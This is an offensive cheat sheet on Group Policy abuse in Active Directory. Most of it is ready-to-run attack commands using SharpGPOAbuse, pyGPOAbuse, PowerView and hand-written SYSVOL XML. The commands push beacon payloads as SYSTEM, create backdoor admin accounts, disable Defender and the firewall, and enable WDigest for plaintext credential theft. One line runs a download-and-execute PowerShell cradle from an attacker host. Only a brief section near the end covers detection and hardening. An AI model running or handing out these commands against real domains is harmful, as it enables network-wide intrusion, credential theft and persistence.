Group Policy Object (GPO) abuse allows attackers with edit rights over GPOs to execute code, add local admins, and establish persistence across ALL computers/users in a linked OU — silently, at scale.
Legend:
[GPO]= Group Policy Object |[OU]= Organizational Unit |[DC]= Domain Controller |[DA]= Domain Admin |[SYSVOL]= System Volume Share |[ACL]= Access Control List |[GPC]= Group Policy Container |[GPT]= Group Policy Template |[CS]= Computer/User Configuration |[AD]= Active Directory
1. What is GPO Abuse?
GPOs are Active Directory objects that define configurations applied to computers and users in linked OUs. If an attacker has write/edit rights over a GPO, they can push arbitrary commands, add local admins, or deploy persistence to every machine in the linked OU — with no additional privileges needed on those machines.
Why GPO Abuse is Devastating
Normal attack path:
DA creds → lateral move to each machine → execute payload
(slow, noisy, touches every host individually)
GPO abuse path:
GPO edit rights → modify one GPO → ALL linked machines execute payload
(fast, "legitimate" channel, looks like normal admin activity)
What You Can Do With GPO Edit Rights
| Technique | Effect | Scope |
|---|---|---|
| Add Scheduled Task | Execute payload as SYSTEM on every machine | All linked computers |
| Add Local Admin | Make your user local admin on all machines | All linked computers |
| Add Startup Script | Run script at computer startup | All linked computers |
| Add Logon Script | Run script at user logon | All linked users |
| Modify Registry | Change registry values domain-wide | All linked computers |
| Deploy Software | Install/remove MSI packages | All linked computers |
| Disable Defender | Turn off Windows Defender GPO settings | All linked computers |
| Add User to Group | Add user to local Administrators | All linked computers |
2. GPO Fundamentals
2.1 GPO Storage Structure
Active Directory stores GPO metadata in:
CN={GUID},CN=Policies,CN=System,DC=CORP,DC=LOCAL ← GPC (Group Policy Container)
File content stored on SYSVOL:
\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies{GUID}
├── GPT.INI ← Version number + display name
├── Machine\ ← Computer configuration
│ ├── Scripts
│ │ ├── Startup\ ← Startup scripts!
│ │ └── Shutdown
│ ├── Registry.pol ← Registry settings
│ └── Preferences
│ └── ScheduledTasks\ ← Scheduled tasks!
└── User\ ← User configuration
├── Scripts
│ ├── Logon\ ← Logon scripts!
│ └── Logoff
└── Preferences
└── Groups\ ← Local group membership!
2.2 GPO Application Process
-
Machine/User logs in
-
Contacts DC → gets list of GPOs linked to its OU
-
Downloads GPT from SYSVOL
-
Applies settings (Registry, Scripts, Tasks, Groups)
-
Re-applies every 90 minutes (±30 min offset)
→ For DCs: every 5 minutes!
Forced refresh:
gpupdate /force ← Forces immediate GPO reapplication
2.3 GPO Rights That Matter
| Right | What You Can Do |
|---|---|
| GenericWrite on GPO | Modify GPO settings → RCE on all linked machines |
| WriteDacl on GPO | Modify GPO ACL → grant yourself GenericWrite |
| GenericAll on GPO | Full control |
| WriteOwner on GPO | Change GPO owner → grant yourself full control |
| CreateChild on GPO container | Create new GPOs |
| GenericWrite on OU | Link GPOs to OU |
| WriteDacl on OU | Modify OU ACL → grant link rights |
3. Enumeration — Find Abusable GPOs
3.1 BloodHound (Best Method)
# Run SharpHound with GPO collection
.\SharpHound.exe -c All,GPOLocalGroup
# In BloodHound UI — Key queries:
# "Find Shortest Paths to Domain Admins"
# "Find GPOs where Domain Users can modify"
# "Principals with GPO abuse paths"
# BloodHound edge types to look for:
# GenericWrite → GPO = you can edit it
# WriteDacl → GPO = you can change ACL
# GenericAll → GPO = full control
# WriteOwner → GPO = change ownership
# GpLink → OU = GPO linked to this OU
3.2 PowerView Enumeration
# Import PowerView
Import-Module PowerView.ps1
# OR via SharpView (no PowerShell logs)
.\SharpView.exe Get-DomainGPO
# ==========================================
# LIST ALL GPOs
# ==========================================
# Get all GPOs in domain
Get-DomainGPO | select DisplayName, Name, gpcfilesyspath
# Get GPO by name
Get-DomainGPO -Identity "Default Domain Policy"
Get-DomainGPO -Identity "{GPO-GUID}"
# Get GPOs linked to specific OU
Get-DomainGPO -SearchBase "OU=Workstations,DC=CORP,DC=LOCAL"
# ==========================================
# FIND GPOs YOU CAN MODIFY (critical!)
# ==========================================
# Find all GPOs current user can write to
Get-DomainObjectAcl -SearchBase "CN=Policies,CN=System,DC=CORP,DC=LOCAL" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|GenericAll|WriteOwner" -and
$_.SecurityIdentifier -match (Get-DomainUser -Identity $env:USERNAME).objectsid
}
# Find all GPOs any low-priv user can write to
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl" -and
$_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-19|S-1-5-20|S-1-5-32-544|S-1-5-9"
}
# ==========================================
# MAP GPO → OU → COMPUTERS (what scope?)
# ==========================================
# Find which OUs a GPO is linked to
Get-DomainOU -GPLink "{GPO-GUID}" | select distinguishedname, name
# Find all computers in a linked OU
Get-DomainComputer -SearchBase "OU=Workstations,DC=CORP,DC=LOCAL" | select dnshostname
# Full mapping: GPO → OUs → Computers
$GPO = Get-DomainGPO -Identity "Vulnerable GPO"
$GUID = $GPO.Name
$OUs = Get-DomainOU -GPLink $GUID
foreach ($OU in $OUs) {
Write-Host "[OU] $($OU.distinguishedname)"
Get-DomainComputer -SearchBase $OU.distinguishedname | foreach {
Write-Host " [Computer] $($_.dnshostname)"
}
}
# ==========================================
# CHECK WHO IS LOCAL ADMIN VIA GPO
# ==========================================
Get-DomainGPOLocalGroup | select GPODisplayName, GroupName, GroupMemberOf, GroupMembers
Get-DomainGPOUserLocalGroupMapping -LocalGroup Administrators | select ObjectName, GPODisplayName, ContainerName, ComputerName
3.3 ADSearch / LDAP Enumeration
# Find all GPOs
.\ADSearch.exe --search "(objectClass=groupPolicyContainer)" --attributes displayName,name,gpcFileSysPath
# Find GPOs with dangerous ACLs
.\ADSearch.exe --search "(objectClass=groupPolicyContainer)" --attributes nTSecurityDescriptor,displayName
# List GPO links on OUs
.\ADSearch.exe --search "(objectClass=organizationalUnit)" --attributes gpLink,distinguishedName
3.4 Manual SYSVOL Inspection
# Browse SYSVOL (readable by all domain users!)
ls \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\
# Read GPO contents
ls \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Preferences\
# Look for ScheduledTasks.xml (existing tasks)
cat "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml"
# Look for Groups.xml (local group members — also may contain cpassword!)
cat "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GPO-GUID}\Machine\Preferences\Groups\Groups.xml"
# cpassword = AES-encrypted password (key is PUBLIC — decrypt with Get-GPPPassword!)
# Decrypt cpassword:
.\Get-GPPPassword.ps1
# OR: gpp-decrypt CPASSWORD_VALUE (Linux)
4. SharpGPOAbuse
Best tool for GPO abuse on Windows. C# tool that directly modifies GPO SYSVOL files and AD attributes to inject scheduled tasks, local admins, scripts, and registry values.
GitHub: https://github.com/FSecureLABS/SharpGPOAbuse
4.1 Add Scheduled Task (SYSTEM Code Execution)
# ==========================================
# IMMEDIATE scheduled task (runs RIGHT NOW — no reboot!)
# ==========================================
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "WindowsUpdate" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Windows\System32\cmd.exe" \
--Arguments "/c C:\Temp\beacon.exe" \
--GPOName "Vulnerable GPO" \
--Force
# ==========================================
# SYSTEM task — runs on every startup
# ==========================================
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "WindowsDefenderUpdate" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Temp\beacon.exe" \
--GPOName "Vulnerable GPO"
# ==========================================
# USER context task (runs when target user logs in)
# ==========================================
.\SharpGPOAbuse.exe --AddUserTask \
--TaskName "OneDriveSync" \
--Author "CORP\jsmith" \
--Command "C:\Temp\user_beacon.exe" \
--GPOName "Vulnerable GPO" \
--Force
# ==========================================
# DOMAIN ADMIN targeted task (get DA shell!)
# ==========================================
# First: find which GPO is linked to OU where DA logs in
# (e.g., "Domain Controllers" OU GPO → DAs log in there!)
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "Telemetry" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Windows\System32\cmd.exe" \
--Arguments "/c net user hacker P@ssw0rd /add && net localgroup administrators hacker /add" \
--GPOName "Default Domain Controllers Policy" \
--Force
# ==========================================
# Force immediate GPO update (don't wait 90min!)
# ==========================================
# Option 1: Add a gpupdate task to the same GPO
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "GPORefresh" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Windows\System32\gpupdate.exe" \
--Arguments "/force" \
--GPOName "Vulnerable GPO" \
--Force
# Option 2: Remote gpupdate via WMI/WinRM (if you have access)
Invoke-GPUpdate -Computer TARGET -Force -RandomDelayInMinutes 0
4.2 Add Local Administrator
# Add current user as local admin on ALL machines in linked OU
.\SharpGPOAbuse.exe --AddLocalAdmin \
--UserAccount "CORP\jsmith" \
--GPOName "Vulnerable GPO"
# Add domain group as local admin
.\SharpGPOAbuse.exe --AddLocalAdmin \
--UserAccount "CORP\IT-Helpdesk" \
--GPOName "Vulnerable GPO"
# After GPO applies → verify local admin:
net localgroup Administrators
# → CORP\jsmith should appear!
# Force update on target:
gpupdate /force # (if you can run commands on target)
4.3 Add Startup/Shutdown Scripts
# Add computer startup script (runs as SYSTEM at boot)
.\SharpGPOAbuse.exe --AddComputerScript \
--ScriptName "startup.bat" \
--ScriptContents "@echo off && C:\Temp\beacon.exe" \
--GPOName "Vulnerable GPO"
# Script hosted on SYSVOL (auto-accessible to all machines!)
.\SharpGPOAbuse.exe --AddComputerScript \
--ScriptName "init.bat" \
--ScriptContents "cmd /c \\CORP.LOCAL\SYSVOL\CORP.LOCAL\scripts\payload.exe" \
--GPOName "Vulnerable GPO"
# Add user logon script (runs when user logs in)
.\SharpGPOAbuse.exe --AddUserScript \
--ScriptName "logon.bat" \
--ScriptContents "C:\Temp\user_payload.exe" \
--GPOName "Vulnerable GPO"
# Add shutdown script (runs on graceful shutdown — persistence!)
.\SharpGPOAbuse.exe --AddComputerScript \
--ScriptName "shutdown.bat" \
--ScriptContents "C:\Temp\beacon.exe" \
--Type shutdown \
--GPOName "Vulnerable GPO"
4.4 Modify Registry via GPO
# Disable Windows Defender real-time protection domain-wide!
.\SharpGPOAbuse.exe --AddComputerRegistry \
--RegPath "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" \
--RegName "DisableAntiSpyware" \
--RegValue "1" \
--RegType "DWORD" \
--GPOName "Vulnerable GPO"
# Disable Windows Firewall
.\SharpGPOAbuse.exe --AddComputerRegistry \
--RegPath "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\WindowsFirewall\StandardProfile" \
--RegName "EnableFirewall" \
--RegValue "0" \
--RegType "DWORD" \
--GPOName "Vulnerable GPO"
# Enable WDigest (make LSASS cache plaintext passwords!)
.\SharpGPOAbuse.exe --AddComputerRegistry \
--RegPath "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" \
--RegName "UseLogonCredential" \
--RegValue "1" \
--RegType "DWORD" \
--GPOName "Vulnerable GPO"
# Enable RDP domain-wide
.\SharpGPOAbuse.exe --AddComputerRegistry \
--RegPath "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" \
--RegName "fDenyTSConnections" \
--RegValue "0" \
--RegType "DWORD" \
--GPOName "Vulnerable GPO"
# Add registry autorun (persistence)
.\SharpGPOAbuse.exe --AddComputerRegistry \
--RegPath "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" \
--RegName "WindowsUpdate" \
--RegValue "C:\Temp\beacon.exe" \
--RegType "REG_SZ" \
--GPOName "Vulnerable GPO"
5. PyGPOAbuse (Linux)
Python3 equivalent of SharpGPOAbuse. Modify GPO contents directly from Linux using impacket — no Windows needed.
GitHub: https://github.com/Hackndo/pyGPOAbuse
# Install
pip3 install pygpoabuse
# OR:
git clone https://github.com/Hackndo/pyGPOAbuse && cd pyGPOAbuse
pip3 install -r requirements.txt
# ==========================================
# SCHEDULED TASK (SYSTEM — immediate)
# ==========================================
python3 pygpoabuse.py CORP/jsmith:P@ssw0rd \
-gpo-id "GPO-GUID-HERE" \
-dc-ip DC_IP \
-command "cmd /c C:\Temp\beacon.exe" \
-taskname "WindowsUpdate" \
-description "System Update Task" \
-user-context false \
-force
# Reverse shell one-liner via GPO
python3 pygpoabuse.py CORP/jsmith:P@ssw0rd \
-gpo-id "GPO-GUID-HERE" \
-dc-ip DC_IP \
-command "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')" \
-taskname "Telemetry" \
-force
# Add local admin via GPO (from Linux!)
python3 pygpoabuse.py CORP/jsmith:P@ssw0rd \
-gpo-id "GPO-GUID-HERE" \
-dc-ip DC_IP \
-command "net localgroup administrators CORP\jsmith /add" \
-taskname "UserInit" \
-force
# ==========================================
# USE WITH PASS-THE-HASH
# ==========================================
python3 pygpoabuse.py CORP/jsmith \
-hashes :NTLM_HASH \
-gpo-id "GPO-GUID" \
-dc-ip DC_IP \
-command "C:\Temp\beacon.exe" \
-taskname "svchost" \
-force
# ==========================================
# FIND GPO ID (via impacket ldap)
# ==========================================
# ldapdomaindump
ldapdomaindump -u CORP\\jsmith -p P@ss DC_IP
# Check: domain_policy.json for GPO names + GUIDs
# OR PowerView on Windows:
Get-DomainGPO | select displayname, name # 'name' = GUID
6. Manual GPO Abuse via SYSVOL
Direct file-based GPO abuse — write XML files to SYSVOL directly without tools. Useful when SharpGPOAbuse/pyGPOAbuse are flagged.
6.1 Manual Scheduled Task via XML
# Step 1: Identify GPO GUID
Get-DomainGPO -Identity "Target GPO" | select Name # Name = {GUID}
# Step 2: Create ScheduledTasks.xml
$xml = @'
<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A0CB6ED960E1}">
<ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}"
name="WindowsUpdate"
image="0"
changed="2024-01-01 00:00:00"
uid="{RANDOM-GUID}">
<Properties
action="C"
name="WindowsUpdate"
runAs="NT AUTHORITY\System"
logonType="S4U">
<Task version="1.3">
<RegistrationInfo>
<Author>Microsoft Corporation</Author>
<Description>Windows Update Task</Description>
</RegistrationInfo>
<Principals>
<Principal id="Author">
<UserId>NT AUTHORITY\System</UserId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<Enabled>true</Enabled>
</Settings>
<Actions Context="Author">
<Exec>
<Command>C:\Windows\System32\cmd.exe</Command>
<Arguments>/c C:\Temp\beacon.exe</Arguments>
</Exec>
</Actions>
<Triggers>
<TimeTrigger>
<StartBoundary>2024-01-01T00:00:00</StartBoundary>
<Enabled>true</Enabled>
</TimeTrigger>
</Triggers>
</Task>
</Properties>
</ImmediateTaskV2>
</ScheduledTasks>
'@
# Step 3: Write to SYSVOL
$GPO_GUID = "{YOUR-GPO-GUID}"
$path = "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\$GPO_GUID\Machine\Preferences\ScheduledTasks"
New-Item -ItemType Directory -Path $path -Force
$xml | Out-File "$path\ScheduledTasks.xml" -Encoding UTF8
# Step 4: Increment GPO version (critical — or machines won't re-apply!)
$gpcPath = "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\$GPO_GUID\GPT.INI"
$content = Get-Content $gpcPath
$version = [int]($content | Select-String "Version=").ToString().Split("=")
$newVersion = $version + 1
$content -replace "Version=$version", "Version=$newVersion" | Set-Content $gpcPath
# Also increment version in AD object:
Set-DomainObject -Identity $GPO_GUID -Set @{versionNumber = $newVersion}
6.2 Manual Local Group via Groups.xml
# Add user to local Administrators via Groups.xml
$xml = @'
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}"
name="Administrators (built-in)"
image="2"
changed="2024-01-01 00:00:00"
uid="{RANDOM-GUID}">
<Properties
action="U"
newName=""
description=""
deleteAllUsers="0"
deleteAllGroups="0"
removeAccounts="0"
groupSid="S-1-5-32-544"
groupName="Administrators (built-in)">
<Members>
<Member name="CORP\jsmith" action="ADD" sid="S-1-5-21-...-1234"/>
</Members>
</Properties>
</Group>
</Groups>
'@
$GPO_GUID = "{YOUR-GPO-GUID}"
$path = "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\$GPO_GUID\Machine\Preferences\Groups"
New-Item -ItemType Directory -Path $path -Force
$xml | Out-File "$path\Groups.xml" -Encoding UTF8
# Increment GPO version (same as above)
7. PowerView GPO Attacks
# ==========================================
# ENUMERATE GPO → OU → COMPUTER MAPPING
# ==========================================
# Full attack path mapper
Get-DomainGPO | ForEach-Object {
$gpo = $_
Get-DomainOU -GPLink $gpo.Name | ForEach-Object {
$ou = $_
$computers = Get-DomainComputer -SearchBase $ou.distinguishedname
[PSCustomObject]@{
GPO = $gpo.DisplayName
GPO_GUID = $gpo.Name
OU = $ou.distinguishedname
Computers = ($computers.dnshostname -join ", ")
}
}
} | Format-Table -AutoSize
# ==========================================
# FIND WHO CAN EDIT EACH GPO
# ==========================================
Get-DomainGPO | ForEach-Object {
$gpo = $_
Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl|WriteOwner" -and
$_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-32-544|S-1-5-9"
} | ForEach-Object {
$sid = $_.SecurityIdentifier
$user = ConvertFrom-SID $sid
[PSCustomObject]@{
GPO = $gpo.DisplayName
User = $user
Right = $_.ActiveDirectoryRights
}
}
} | Format-Table -AutoSize
# ==========================================
# MAP USER → GPO ABUSE PATH
# ==========================================
# "What machines can jsmith reach via GPO abuse?"
Get-DomainGPOUserLocalGroupMapping -Identity jsmith -LocalGroup Administrators
# Output:
# ObjectName: jsmith
# GPODisplayName: IT Machines Policy
# ContainerName: OU=Workstations,DC=CORP,DC=LOCAL
# ComputerName: WS01.CORP.LOCAL, WS02.CORP.LOCAL ← jsmith is local admin here!
# Find where DA has GPO-based local admin (pivot target!)
Get-DomainGPOUserLocalGroupMapping -Identity "Domain Admins" -LocalGroup Administrators
8. Abusing GPO Creation Rights
If you have
CreateChildrights onCN=Policies,CN=System,DC=CORP,DC=LOCAL, you can create brand new GPOs and link them to OUs — no need to modify existing GPOs.
# Check if you can create GPOs
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=CORP,DC=LOCAL" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "CreateChild" -and
$_.SecurityIdentifier -match (Get-DomainUser $env:USERNAME).objectsid
}
# Check if you can link GPOs to an OU
Get-DomainObjectAcl -Identity "OU=Workstations,DC=CORP,DC=LOCAL" -ResolveGUIDs | Where-Object {
$_.ObjectType -match "GP-Link" -and
$_.SecurityIdentifier -match (Get-DomainUser $env:USERNAME).objectsid
}
# ==========================================
# CREATE NEW GPO + LINK + ABUSE
# (requires RSAT / PowerShell GPO module)
# ==========================================
# Step 1: Create new GPO
New-GPO -Name "Windows Security Update"
# Step 2: Link to target OU
New-GPLink -Name "Windows Security Update" -Target "OU=Workstations,DC=CORP,DC=LOCAL"
# Step 3: Configure malicious scheduled task via GPO
Set-GPPrefRegistryValue -Name "Windows Security Update" `
-Context Computer `
-Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" `
-ValueName "Update" `
-Value "C:\Temp\beacon.exe" `
-Type String `
-Action Update
# Step 4: Abuse using SharpGPOAbuse (specify new GPO name)
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "Updater" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Temp\beacon.exe" \
--GPOName "Windows Security Update" \
--Force
9. GPO Abuse via ACL Modification
If you have
WriteDaclorWriteOwneron a GPO, first grant yourselfGenericWrite, then modify the GPO freely.
# ==========================================
# ESCALATE FROM WriteDacl → GenericWrite
# ==========================================
# Step 1: Confirm WriteDacl right
Get-DomainObjectAcl -Identity "{GPO-GUID}" -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "WriteDacl" -and
$_.SecurityIdentifier -match (Get-DomainUser $env:USERNAME).objectsid
}
# Step 2: Grant yourself GenericWrite on the GPO
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" \
-PrincipalIdentity "CORP\jsmith" \
-Rights GenericWrite \
-Verbose
# Step 3: Verify new rights
Get-DomainObjectAcl -Identity "{GPO-GUID}" -ResolveGUIDs | Where-Object {
$_.SecurityIdentifier -match (Get-DomainUser jsmith).objectsid
}
# Step 4: Abuse with SharpGPOAbuse
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "MicrosoftEdgeUpdate" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "C:\Temp\beacon.exe" \
--GPOName "Target GPO" \
--Force
# ==========================================
# WriteOwner → Full Control
# ==========================================
# Step 1: Take ownership of GPO
Set-DomainObjectOwner -Identity "{GPO-GUID}" -OwnerIdentity "CORP\jsmith"
# Step 2: Grant yourself full control
Add-DomainObjectAcl -TargetIdentity "{GPO-GUID}" \
-PrincipalIdentity "CORP\jsmith" \
-Rights All
# Step 3: Now abuse freely
10. BloodHound GPO Attack Paths
Key BloodHound edges for GPO abuse:
jsmith ──[GenericWrite]──→ GPO-1 ──[GpLink]──→ OU-Workstations
│
[Contains]
│
WS01, WS02, WS03
→ jsmith can execute code as SYSTEM on WS01, WS02, WS03!
jsmith ──[WriteDacl]──→ GPO-1
→ jsmith can grant himself GenericWrite → then full GPO abuse
jsmith ──[GenericWrite]──→ OU-1
→ jsmith can link new GPO to OU-1
Custom BloodHound queries (Cypher):
// Find all GPOs any user can write to
MATCH (u:User)-[r:GenericWrite|WriteDacl|GenericAll|WriteOwner]->(g:GPO)
WHERE NOT u.name CONTAINS "ADMIN"
RETURN u.name, type(r), g.name
// Find GPO → OU → Computer full path
MATCH p=(g:GPO)-[r:GpLink]->(o:OU)-[s:Contains]->(c:Computer)
RETURN g.name, o.name, c.name
// Find shortest path from owned user to GPO abuse
MATCH p=shortestPath((u:User {owned:true})-[*1..5]->(g:GPO))
WHERE ANY(r IN relationships(p) WHERE type(r) IN ["GenericWrite","WriteDacl","GenericAll"])
RETURN p
11. GPO Abuse Scenarios
Scenario 1: Add Local Admin (Low Noise)
# Situation: Have GenericWrite on "Workstation Policy" GPO
# Goal: Become local admin on all workstations
# 1. Confirm scope
Get-DomainOU -GPLink "{WORKSTATION-GPO-GUID}" | Get-DomainComputer -Recurse | select dnshostname
# 2. Add yourself as local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "CORP\jsmith" --GPOName "Workstation Policy"
# 3. Wait for GPO refresh (90 min) OR force update
Invoke-WmiMethod -ComputerName TARGET -Namespace "root\cimv2" -Class Win32_Process -Name Create -ArgumentList "gpupdate /force"
# 4. Verify
.\SharpView.exe Get-DomainGPOUserLocalGroupMapping -Identity jsmith -LocalGroup Administrators
Scenario 2: SYSTEM Shell via Scheduled Task (Fastest DA Path)
# Situation: Have GenericWrite on "Default Domain Controllers Policy"
# Scope: ALL domain controllers!
# Goal: Execute payload as SYSTEM on DC
# 1. Prep: Stage payload on accessible share or embed command
# 2. Add immediate task
.\SharpGPOAbuse.exe --AddComputerTask \
--TaskName "WinDefUpdate" \
--Author "NT AUTHORITY\SYSTEM" \
--Command "cmd.exe" \
--Arguments "/c net user backdoor P@ss123! /add && net localgroup administrators backdoor /add" \
--GPOName "Default Domain Controllers Policy" \
--Force
# 3. Wait / force refresh
# 4. Login with new DA account!
Scenario 3: Mass Credential Harvesting (Enable WDigest)
# Situation: Have GPO edit rights on "Domain Computers Policy"
# Goal: Enable WDigest so plaintext creds cached in LSASS on ALL machines
# 1. Enable WDigest domain-wide via GPO
.\SharpGPOAbuse.exe --AddComputerRegistry \
--RegPath "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" \
--RegName "UseLogonCredential" \
--RegValue "1" \
--RegType "DWORD" \
--GPOName "Domain Computers Policy"
# 2. Wait for GPO refresh (users need to log off/on)
# 3. When users re-authenticate → LSASS now caches plaintext!
# 4. Run credential dump via any access:
.\SafetyKatz.exe → sekurlsa::wdigest # NOW SHOWS PLAINTEXT PASSWORDS!
Scenario 4: Persistence via Logon Script
# Situation: Have GPO rights over "Domain Users Policy"
# Goal: Execute payload on EVERY user logon across the domain
.\SharpGPOAbuse.exe --AddUserScript \
--ScriptName "MicrosoftSync.bat" \
--ScriptContents "C:\ProgramData\MicrosoftSync\agent.exe" \
--GPOName "Domain Users Policy"
# Alternative: SYSVOL-hosted script (always accessible)
.\SharpGPOAbuse.exe --AddUserScript \
--ScriptName "Sync.bat" \
--ScriptContents "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\scripts\agent.exe" \
--GPOName "Domain Users Policy"
12. Detection & Defense
12.1 Key Event IDs
| Event ID | Source | Detects |
|---|---|---|
| 5136 | Windows Security | AD object modified (GPO GPC changed) |
| 5137 | Windows Security | New AD object created (new GPO) |
| 5141 | Windows Security | AD object deleted (GPO removed) |
| 4662 | Windows Security | Operation on AD object (GPO read/write) |
| 4704 | Windows Security | User right assigned (new local admin via GPO) |
| 4688 | Windows Security | Process created (gpupdate.exe, schtasks.exe) |
| File Audit | Sysmon/FileAudit | New files written to \\*\SYSVOL\*\Policies\* |
| Sysmon 11 | Sysmon | File created in SYSVOL path |
| Sysmon 13 | Sysmon | Registry write from GPO scheduled task |
12.2 Mitigations
| Mitigation | What it Prevents |
|---|---|
| Regular GPO ACL audit | Find misconfigured GenericWrite/WriteDacl rights |
| Restrict GPO creation | Only designated admins can create GPOs (CreateChild on Policies container) |
| Restrict GPO linking | Only designated admins can link GPOs to OUs |
| SYSVOL file integrity monitoring | Detect new/modified files in Policies\ folders |
| Event 5136 alerting | Alert on ANY GPO modification (especially from non-DA accounts) |
| Tiered admin model | Admins who manage GPOs never log into workstations |
| Protected Users group | DA accounts can't be coerced into GPO-linked machines |
| BloodHound periodic runs | Continuously audit GPO attack paths |
12.3 GPO ACL Hardening
# Audit GPO ACLs (run as DA regularly)
Get-DomainGPO | ForEach-Object {
$gpo = $_
Get-DomainObjectAcl -Identity $gpo.distinguishedname -ResolveGUIDs | Where-Object {
$_.ActiveDirectoryRights -match "GenericWrite|WriteDacl|GenericAll|WriteOwner" -and
$_.SecurityIdentifier -notmatch "S-1-5-18|S-1-5-32-544|S-1-5-9|S-1-5-32-548"
} | ForEach-Object {
Write-Warning "DANGEROUS ACL: $(ConvertFrom-SID $_.SecurityIdentifier) has $($_.ActiveDirectoryRights) on $($gpo.DisplayName)"
}
}
# Remove dangerous ACL (fix misconfiguration)
Remove-DomainObjectAcl -TargetIdentity "{GPO-GUID}" \
-PrincipalIdentity "CORP\HelpDesk" \
-Rights GenericWrite
# Enable SYSVOL file auditing
auditpol /set /subcategory:"File System" /success:enable /failure:enable
# Add SACL on SYSVOL\Policies folder for write/delete operations
13. Complete Cheat Sheet
# ==========================================
# RECON — FIND ABUSABLE GPOs
# ==========================================
# BloodHound (best)
.\SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\Temp
# → Import to BloodHound → query: "Find GPOs where user has write"
# PowerView
.\SharpView.exe Get-DomainGPO # List all GPOs
Get-DomainGPOLocalGroup # GPO local group mappings
Get-DomainGPOUserLocalGroupMapping -Identity jsmith # Where is jsmith local admin?
Get-DomainObjectAcl -Identity "CN=Policies,CN=System,DC=CORP,DC=LOCAL" -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match "GenericWrite|GenericAll|WriteDacl" }
# ADSearch
.\ADSearch.exe --search "(objectClass=groupPolicyContainer)" --attributes displayName,name,gpcFileSysPath
# Manual SYSVOL browse
ls \\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\
cat "\\CORP.LOCAL\SYSVOL\CORP.LOCAL\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml"
# Look for cpassword → decrypt: gpp-decrypt CPASSWORD_VALUE
# ==========================================
# EXPLOIT — WINDOWS (SharpGPOAbuse)
# ==========================================
# Scheduled task SYSTEM (immediate)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author "NT AUTHORITY\SYSTEM" --Command "C:\Temp\beacon.exe" --GPOName "TARGET GPO" --Force
# Add local admin
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "CORP\jsmith" --GPOName "TARGET GPO"
# Computer startup script
.\SharpGPOAbuse.exe --AddComputerScript --ScriptName "init.bat" --ScriptContents "C:\Temp\beacon.exe" --GPOName "TARGET GPO"
# User logon script
.\SharpGPOAbuse.exe --AddUserScript --ScriptName "logon.bat" --ScriptContents "C:\Temp\payload.exe" --GPOName "TARGET GPO"
# Enable WDigest (plaintext creds after user re-login)
.\SharpGPOAbuse.exe --AddComputerRegistry --RegPath "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" --RegName "UseLogonCredential" --RegValue "1" --RegType "DWORD" --GPOName "TARGET GPO"
# Disable Defender
.\SharpGPOAbuse.exe --AddComputerRegistry --RegPath "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" --RegName "DisableAntiSpyware" --RegValue "1" --RegType "DWORD" --GPOName "TARGET GPO"
# ==========================================
